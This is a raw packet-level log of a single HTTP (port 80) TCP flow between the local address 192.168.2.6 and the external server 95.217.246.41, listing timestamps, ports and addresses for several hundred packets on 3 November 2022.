Nov 3, 2022 12:47:20.659193039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659198999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659216881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659233093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659235954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659255028 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659264088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659275055 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659291029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659293890 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659312963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659329891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659337997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659348965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659362078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659367085 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659375906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659389019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659406900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659424067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659436941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659445047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659459114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659463882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659475088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659495115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659509897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659512043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659533024 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659544945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659552097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659564972 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659571886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659585953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659599066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659605026 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659617901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659636021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659642935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659656048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659676075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659687042 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659696102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659713984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659718037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659738064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659740925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659758091 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659765959 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659776926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659796953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659812927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659816027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659837008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659852028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659853935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659874916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659883022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659893036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659908056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659910917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659930944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659946918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659949064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659969091 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659986973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.660012960 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.660026073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698277950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698313951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698335886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698362112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698367119 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698389053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698414087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698415041 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698415041 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698438883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698446989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698467016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698467016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698486090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698492050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698506117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698510885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698525906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698539972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698554039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698569059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698652029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698658943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698673010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698688030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698705912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698729992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698734045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698755980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698761940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698780060 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698796034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698803902 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698812962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698829889 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698837042 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698862076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698864937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698890924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698919058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698919058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698950052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698972940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.698977947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.698987007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699001074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699016094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699027061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699045897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699053049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699062109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699076891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699090958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699101925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699115992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699126959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699151993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699156046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699177027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699178934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699203014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699203014 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699214935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699228048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699246883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699253082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699270964 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699278116 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699287891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699305058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699311018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699332952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699342966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699359894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699368954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699385881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699393988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699410915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699424982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699438095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699465036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699465990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699475050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699491024 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699501038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699517012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699526072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699542046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699554920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699565887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699582100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699604034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699634075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699660063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699671030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699687004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699697018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699712992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699721098 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699745893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699748039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699774981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699789047 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699800968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699810982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699829102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699836016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699855089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699882984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699901104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699901104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699923038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699923038 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699953079 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699965000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.699980021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.699991941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700011015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700022936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700041056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700052977 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700086117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700145006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700175047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700187922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700202942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700212002 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700232029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700241089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700262070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700272083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700290918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700299025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700321913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700333118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700351000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700361967 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700396061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700404882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700423956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700436115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700450897 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700459003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700479031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700496912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700508118 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700522900 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700532913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700548887 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700558901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700572968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700582027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700604916 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700608015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700622082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700633049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700644970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700656891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700673103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700683117 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700699091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700706959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700725079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700733900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700746059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700757980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700781107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700783968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700802088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700812101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700823069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700839043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700848103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700865984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700877905 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700894117 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700907946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700934887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700937033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.700977087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.700989962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701000929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701026917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701030016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701055050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701056957 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701072931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701085091 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701096058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701116085 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701123953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701148033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701163054 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701178074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701189995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701203108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701217890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701231956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701240063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701260090 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701272011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701289892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701294899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701318026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701334000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701344967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701371908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701399088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701407909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701430082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701431990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701456070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701458931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701476097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701491117 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701505899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701534986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701559067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701561928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701587915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701598883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701613903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701632023 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701638937 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701664925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701666117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701692104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701699972 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701715946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701720953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701734066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701746941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701759100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701771021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701792955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701798916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701812029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701824903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701842070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701850891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701864958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701875925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701900005 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701905012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701914072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701946020 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701946020 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.701972961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.701994896 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702002048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702017069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702028036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702055931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702059031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702075958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702092886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702119112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702122927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702142954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702148914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702176094 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702178001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702197075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702205896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702218056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702230930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702255011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702256918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702275038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702285051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702310085 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702312946 CET	49708	80	192.168.2.6	95.217.246.41
